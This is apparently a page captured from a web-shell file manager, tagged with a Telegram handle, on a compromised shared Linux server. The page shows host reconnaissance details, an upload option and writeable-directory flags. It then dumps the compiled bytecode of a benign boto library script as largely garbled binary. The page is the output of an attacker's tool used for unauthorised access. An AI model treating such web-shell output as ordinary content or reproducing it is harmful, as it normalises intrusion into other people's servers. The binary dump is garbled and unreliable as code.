https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/pyami/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/pyami/__pycache__/scriptbase.cpython-310.pyc
o

ckF[��@sDddlZddlZddlmZmZddlZddlZGdd�de�ZdS)�N)�ShellCommand�get_tsc@sBeZdZddd�Zddd�Zdd�Zd	d
�Zdd
d�Zdd�ZdS)�
ScriptBaseNcCs<tj�ddd�|_|jj|_t�|_|rtj�	|�dSdS)N�Instancezinstance-id�default)
�boto�config�get�instance_id�	__class__�__name__�namer�ts�read)�self�config_file�r�7/usr/lib/python3/dist-packages/boto/pyami/scriptbase.py�__init__	s
�zScriptBase.__init__�cCstj�||�dS�N)r�utils�notify)r�subject�bodyrrrrszScriptBase.notifycCs>tj�|�szt�|�WdStj�d|�YdSdS)NzError creating directory: %s)�os�path�isdir�mkdirr�log�error�rrrrrrs�zScriptBase.mkdircCs"tj�|�r|�d|�dSdS)Nz	umount %s)rr�ismount�runr!rrr�umounts�zScriptBase.umountTFcCsdt||d�|_|jjdkr.tj�d||jjf�|r'|�dd||jjf�|r.t�	d�|jjS)N)�cwdrz)Error running command: "%s". Output: "%s"zError encounteredz=Error running the following command:
	%s

Command output:
	%s���)
r�last_command�statusrrr �outputr�sys�exit)r�commandr�
exit_on_errorr%rrrr#s
��
zScriptBase.runcCsdSrr)rrrr�main*szScriptBase.mainr)r)TFN)	r�
__module__�__qualname__rrrr$r#r.rrrrrs


r)rr*�
boto.utilsrrr�objectrrrrr�<module>s

https://t.me/RX1948 - 2025